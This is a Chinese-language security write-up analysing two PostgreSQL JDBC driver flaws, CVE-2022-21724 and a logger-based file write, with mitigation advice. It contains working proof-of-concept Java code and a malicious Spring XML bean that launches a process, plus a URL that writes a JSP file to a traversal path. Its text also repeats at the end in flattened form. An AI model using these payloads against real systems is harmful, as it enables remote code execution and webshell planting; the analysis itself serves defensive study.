PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析
字数 1174 2025-08-07 08:22:29

PostgreSQL JDBC Driver 漏洞分析与利用指南

0x00 漏洞概述

PostgreSQL JDBC Driver(PgJDBC)是一个用Pure Java(Type 4)编写的开源JDBC驱动程序,用于与PostgreSQL数据库通信。该驱动存在两个严重漏洞:

  1. 远程代码执行漏洞(CVE-2022-21724):通过恶意构造的JDBC URL实现任意代码执行
  2. 任意文件写入漏洞:通过日志配置参数实现任意文件写入

0x01 RCE漏洞(CVE-2022-21724)

影响版本

  • < 42.2.25
  • = 42.3.0,< 42.3.2

漏洞原理

PgJDBC连接属性提供的类名可以实例化插件实例,但驱动程序在实例化类之前不验证类是否实现了预期接口,导致攻击者可以实例化任意类。

漏洞利用步骤

  1. 环境准备

    <!-- pom.xml 依赖 -->
    <dependency>
        <groupId>org.postgresql</groupId>
        <artifactId>postgresql</artifactId>
        <version>42.3.0</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context-support</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
    
  2. 构造恶意POC

    import java.sql.DriverManager;
    
    public class cve_2022_21724 {
        public static void main(String[]args)throws Exception{
            String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
            String socketFactoryArg = "http://127.0.0.1/poc.xml";
            String dbUrl = "jdbc:postgresql:///?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
            DriverManager.getConnection(dbUrl);
        }
    }
    
  3. 恶意XML文件(poc.xml)

    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="
         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="test" class="java.lang.ProcessBuilder">
            <constructor-arg value="calc.exe" />
            <property name="whatever" value="#{test.start()}"/>
        </bean>
    </beans>
    

漏洞分析

  1. 攻击流程:

    • 通过DriverManager.getConnection()触发漏洞
    • PgJDBC解析URL参数并提取socketFactorysocketFactoryArg
    • 使用反射实例化指定的ClassPathXmlApplicationContext
    • 加载并解析远程XML文件
    • 执行XML中定义的恶意代码
  2. 关键调用栈:

    newInstance:408, Constructor (java.lang.reflect)
    instantiate:62, ObjectFactory (org.postgresql.util)
    getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
    openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
    openConnection:51, ConnectionFactory (org.postgresql.core)
    <init>:225, PgConnection (org.postgresql.jdbc)
    makeConnection:466, Driver (org.postgresql)
    connect:265, Driver (org.postgresql)
    getConnection:664, DriverManager (java.sql)
    getConnection:270, DriverManager (java.sql)
    

0x02 任意文件写入漏洞

影响版本

  • 42.3.x < 42.3.3
  • 42.1.x

漏洞原理

通过控制日志配置参数loggerLevelloggerFile,可以将任意内容写入指定文件位置,包括JSP webshell。

漏洞利用步骤

  1. POC代码

    import java.sql.DriverManager;
    
    public class cve_2022_21724_filewrite {
        public static void main(String[]args)throws Exception{
            String loggerLevel="DEBUG";
            String loggerFile="../hack.jsp";
            String shellContent="<%test;%>";
    
            String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
            DriverManager.getConnection(dbUrl);
        }
    }
    
  2. 利用效果

    • 在指定位置创建hack.jsp文件
    • 文件内容包含<%test;%>JSP标签

漏洞分析

  1. 攻击流程:

    • 通过loggerLevelloggerFile参数控制日志配置
    • 初始化日志记录器时创建指定文件
    • 将URL内容写入日志文件
    • 由于URL可控且不受过滤,可以写入任意内容
  2. 关键调用栈:

    log:824, Logger (java.util.logging)
    connect:253, Driver (org.postgresql)
    getConnection:664, DriverManager (java.sql)
    getConnection:270, DriverManager (java.sql)
    

0x03 防护建议

  1. 升级到安全版本

    • 对于RCE漏洞:升级到42.2.25或42.3.2及以上版本
    • 对于文件写入漏洞:升级到42.3.3及以上版本
  2. 输入验证

    • 对JDBC连接URL进行严格验证
    • 禁止使用不受信任的URL参数
  3. 最小权限原则

    • 运行PostgreSQL JDBC驱动的应用使用最小必要权限
  4. 网络防护

    • 限制应用服务器出站连接,防止加载外部恶意XML

0x04 总结

这两个漏洞展示了JDBC驱动中参数处理不当可能导致的安全问题:

  • RCE漏洞利用反射和Spring框架特性实现代码执行
  • 文件写入漏洞滥用日志功能实现webshell上传

开发人员应密切关注依赖组件的安全更新,及时应用补丁,并对用户输入进行严格验证。

PostgreSQL JDBC Driver 漏洞分析与利用指南 0x00 漏洞概述 PostgreSQL JDBC Driver(PgJDBC)是一个用Pure Java(Type 4)编写的开源JDBC驱动程序,用于与PostgreSQL数据库通信。该驱动存在两个严重漏洞: 远程代码执行漏洞(CVE-2022-21724) :通过恶意构造的JDBC URL实现任意代码执行 任意文件写入漏洞 :通过日志配置参数实现任意文件写入 0x01 RCE漏洞(CVE-2022-21724) 影响版本 < 42.2.25 = 42.3.0, < 42.3.2 漏洞原理 PgJDBC连接属性提供的类名可以实例化插件实例,但驱动程序在实例化类之前不验证类是否实现了预期接口,导致攻击者可以实例化任意类。 漏洞利用步骤 环境准备 : 构造恶意POC : 恶意XML文件(poc.xml) : 漏洞分析 攻击流程: 通过 DriverManager.getConnection() 触发漏洞 PgJDBC解析URL参数并提取 socketFactory 和 socketFactoryArg 使用反射实例化指定的 ClassPathXmlApplicationContext 类 加载并解析远程XML文件 执行XML中定义的恶意代码 关键调用栈: 0x02 任意文件写入漏洞 影响版本 42.3.x < 42.3.3 42.1.x 漏洞原理 通过控制日志配置参数 loggerLevel 和 loggerFile ,可以将任意内容写入指定文件位置,包括JSP webshell。 漏洞利用步骤 POC代码 : 利用效果 : 在指定位置创建 hack.jsp 文件 文件内容包含 <%test;%> JSP标签 漏洞分析 攻击流程: 通过 loggerLevel 和 loggerFile 参数控制日志配置 初始化日志记录器时创建指定文件 将URL内容写入日志文件 由于URL可控且不受过滤,可以写入任意内容 关键调用栈: 0x03 防护建议 升级到安全版本 : 对于RCE漏洞:升级到42.2.25或42.3.2及以上版本 对于文件写入漏洞:升级到42.3.3及以上版本 输入验证 : 对JDBC连接URL进行严格验证 禁止使用不受信任的URL参数 最小权限原则 : 运行PostgreSQL JDBC驱动的应用使用最小必要权限 网络防护 : 限制应用服务器出站连接,防止加载外部恶意XML 0x04 总结 这两个漏洞展示了JDBC驱动中参数处理不当可能导致的安全问题: RCE漏洞利用反射和Spring框架特性实现代码执行 文件写入漏洞滥用日志功能实现webshell上传 开发人员应密切关注依赖组件的安全更新,及时应用补丁,并对用户输入进行严格验证。